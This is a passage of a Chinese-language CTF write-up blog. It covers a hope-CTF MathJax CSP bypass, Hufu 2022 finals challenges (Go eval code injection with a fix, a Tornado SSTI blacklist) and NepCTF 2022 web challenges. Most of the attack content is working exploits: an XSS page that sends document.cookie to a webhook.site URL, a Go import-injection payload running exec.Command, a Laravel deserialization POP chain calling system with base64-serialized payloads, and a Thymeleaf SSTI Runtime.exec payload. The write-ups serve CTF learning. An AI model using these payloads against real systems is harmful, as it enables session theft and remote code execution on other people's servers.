"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/"
].join(';'));

res.header('X-Content-Type-Options', 'nosniff');
});

可以注意到源码给出了Mathjax这个插件,这其实是一个数学公式的渲染插件,之前确实爆过xss攻击的漏洞,可以直接执行eval函数来进行RCE,但是这里给出的版本是2.7.9并不包含这个漏洞,这里就不能用。但是插件Mathjax允许通过<script type="text/x-mathjax-config"><script/>来进行参数设置,同时标签内除了根据它规定的格式设置参数之外还可以运行JavaScript代码,因此就可以利用它来绕过CSP执行JavaScript代码,从而走私cookie。

构造的页面payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/x-mathjax-config">
location.href=`https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?${document.cookie}`;
</script>
<script type="text/javascript" src="/MathJax/MathJax.js">
</script>
</body>
</html>

将payload与其https://mk.mc.ax/render?content= 拼接后url编码,再发送给admin-bot访问,admin-bot加载页面后就会运行准备好的跳转代码,将cookie作为参数发送到事先准备好的webhook地址。

1
https%3A%2F%2Fmk.mc.ax%2Frender%3Fcontent%3D%3C!DOCTYPE%20html%3E%20%3Chtml%20lang%3D%22en%22%3E%20%3Chead%3E%20%20%20%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%20%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%3E%20%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%20%20%20%20%20%3Ctitle%3EDocument%3C%2Ftitle%3E%20%3C%2Fhead%3E%20%3Cbody%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fx-mathjax-config%22%3E%20%20%20%20%20%20%20%20%20location.href%3D%60https%3A%2F%2Fwebhook.site%2F99f07c43-3dd0-402e-afc8-a654a2dc6983%2F%3F%24%7Bdocument.cookie%7D%60%3B%20%20%20%20%20%3C%2Fscript%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22%2FMathJax%2FMathJax.js%22%3E%20%20%20%20%20%3C%2Fscript%3E%20%3C%2Fbody%3E%20%3C%2Fhtml%3E

然后我们就可以在webhook这里看到flag了。

hope{make_sure_to_check_your_dependencies}

虎符决赛-2022-WP

​ 期待已久的虎符决赛终于来了,本来是可以去福州旅游的,没想到主办方鸽了几个月之后直接改线上赛了!

​ 决赛主要分为两个部分,分别是AWDP和PKS。实在不懂什么芯片的我们只能做做AWDP环节了,再加上这次我们没有pwn手吃了比较大的亏。好在修复成功了两道题和攻击成功一道题,靠着每轮一点点加分赶了上来不至于垫底。

readygo

​ 这是一道go语言编写的题目,go题接触的比较少一开始拿到的时候有点慌。好在考的并不是语言特性,而是比较基础的代码注入。

源码主要文件目录如下:

1
2
3
4
5
6
7
|——goeval@v0.1.1
| |——eval.go
| |——eval_test.go
|——html
| |——index.html
| |——result.html
|——main.go

首先看看main.go中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
eval "github.com/PaulXu-cn/goeval"
"github.com/gin-gonic/gin"
"regexp"
)

func main() {
r := gin.Default()
r.LoadHTMLFiles("html/index.html", "html/result.html")
r.GET("/", func(c *gin.Context) {
c.Header("server", "Gin")
c.HTML(200, "index.html", "")
})
r.POST("/parse", func(c *gin.Context) {
expression := c.DefaultPostForm("expression", "666")
Package := c.DefaultPostForm("Package", "fmt")
match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
if match {
c.String(200, "Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
c.HTML(200, "result.html", gin.H{"result": string(res)})
} else {
c.HTML(200, "result.html", err.Error())
}
}
})
r.Run()
}

从main函数中我们就可以大致了解这个web应用的主要结构和业务流程。html目录放置的是前端页面,访问index.html是一个提交计算表达式的表单,也就是一个计算器,表单提交后在服务器中由main.go中的代码进行处理,main.go会调用eval.go中的模块,而eval_test.go则是eval.go中模块的使用实例,main.go计算完之后将结果返回在result.html页面显示。

attack

​ 从代码中可以看到,我们计算表达式会提交到/parse路进行进行处理,首先会对expression进行检查,拒绝对含有字母的表达式进行下一步处理,而对Package则并没有做任何检查。随后将expression与代码拼接后跟Package一起传入eval.go中的Eval()函数进行处理,以下是eval.go代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package goeval

import (
"fmt"
"go/format"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)

const (
letterBytes = "abcdefghijklmnopqrstuvwxyz"
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)

var (
dirSeparator = "/"
tempDir = os.TempDir()
src = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
b := make([]byte, n)
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main

%s

%s

func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
//fmt.Printf("%s", fullCode)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
res = codeBytes
return res, err
}

Eval()函数主要做的事情是先对参数import进行分割,即对要导入的包进行格式化处理,随后要导入的包代码、变量声明代码、main函数主体代码插入到模板tmp中,再将这部分代码生成go文件并调用系统命令进行执行,最终将执行结果和错误返回。tmp模板插入相关代码后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

//这里是包导入代码,对应变量是importStr
//格式为:
//import (
// "fmt"
//)

//这里是变量声明代码,对应参数defineCode

func main() {
//这里是main函数的主体代码,对应参数为code
}

其中,importStr和code两个变量都是可控的,分别对应与Package和expression两个参数,也就是说我们可以通过控制Package和expression来将我们的恶意代码写入到这个文件中并在服务器上执行从而成功RCE。可以注意到,Package的内容并无限制,而expression则不能含有字母,要使代码成功执行必须将恶意代码写入到main函数中。这个时候就会想到可以控制Package这个参数来重新写一个main函数,然后再利用多行注释符将后续代码注释掉,从而实现代码注入。值得注意的是,go语言对语法要求较为严格,多行注释符必须要 /* 和 */ 成对出现,因此我们还需要控制expression将多行注释符和最后的右大括号 } 闭合起来,参数构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var expression = "*/_1("

var Package = `"fmt"
"os/exec"
)

func main(){
cmd:=exec.Command("ls","/")
res,err:=cmd.CombinedOutput()
fmt.Printf("%s",res)
fmt.Printf("%s",err)
}
func _1(){}
func a(){/* 1`

嵌入到tmp代码模板之后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import (
"fmt"
"os/exec"
)

func main() {
cmd := exec.Command("ls", "/")
res, err := cmd.CombinedOutput()
fmt.Printf("%s", res)
fmt.Printf("%s", err)
}
func _1() {}
func a() { /* "1"
)



func main() {
fmt.Print(*/_1()
}

​ 这里有几个小细节需要注意一下,第一就是Package注入的代码中不能含有空格,否则根据处理函数看,Package用空格分隔开后第二部分会被加上双引号,从而导致注入失败,这里可以用制表符代替空格,第二是为了闭合掉大括号和小括号,还需要在Package的最后定义函数来闭合最后的大括号并在函数中调用另一个函数来闭合小括号,因为闭合小括号需要控制expression来完成,因此这里的要定义函数名不含字母的函数,可以用下划线和数字来进行定义,在go中是允许这种定义方式的。

​ 至此,我们就完成了对payload的构造,只需要将其url编码后发送即可。

fix

​ 从上面的分析中我们可以看到漏洞出现的原因是对于参数检查不够严格,导致了前后文配合进行代码的注入,前文的注入离不开后文的括号闭合,只要我们将这个条件破坏即可抵抗代码注入攻击,从而修复成功。因此我们可以对expression的检查方法进行加固,将(_符号加入黑名单即可,而/*因为他们是四则运算符,将其禁用会影响正常功能,从而导致服务异常,因此不能加入黑名单,但是已经足够了,如果还不放心,保险一点可以将出去四则运算的其他标点符号加到黑名单中。

龙卷风

​ 这道题是一道python环境下tornado框架的常规模板注入,题目中对注入点进行了惨无人道的过滤,黑名单非常长,感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import tornado.ioloop, tornado.web, tornado.options, os

settings = {'static_path': os.path.join(os.getcwd(), 'static')}


class IndexHandler(tornado.web.RequestHandler):

def get(self):
self.render("static/index.html")

def post(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('tornado', '龙卷风摧毁停车场')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode","request","builtins","|","&"]
black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
black_keyword = ['or', 'while']
black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
'while', 'for', 'from', 'import', 'apply',"True","False"]
if(len(msg)>1500) :
self.render('static/hack.html')
return
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
self.render('static/hack.html')
return
with open('static/user.html', 'w') as (f):
f.write(
'<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
f.flush()
self.render('static/user.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)


if __name__ == '__main__':
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
print('start')

能用的符号就只剩下#!@%^()_=[]{}:;?><-~`,直接给我整不会了,蹲一波wp。

至于修补,那就是将恶心进行到底,把剩下的这些符号也加到黑名单中!!!

NepCTF-2022-WP

因为有其它的事情,只上线了一会,解了两个签到题就跑路了。

Web

Just Kidding

参考:https://xz.aliyun.com/t/11362 第一条链子。

对照几处关键点都相符:

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

可直接利用,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace Illuminate\Contracts\Queue{

interface ShouldQueue {}
}

namespace Illuminate\Bus{

class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";

}
}
}

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Queue\ShouldQueue;

class BroadcastEvent implements ShouldQueue {
function __construct() {}
}

class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "cat /flag";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}

namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo0OiJscyAvIjt9fQ==
1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO319

flag: NepCTF{c2edd745-b451-4b64-a37e-bdd1942d5a7c}

Challenger

java Thymeleaf 模板注入,直接打就行

payload如下:

1
/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20flag%22).getInputStream()).next()%7d__::.x

flag: NepCTF{c2edd745-b451-4b64-a37e-bdd1942d5a7c}

一些相关的学习链接

Java安全之Thymeleaf 模板注入分析 https://www.cnblogs.com/nice0e3/p/16212784.html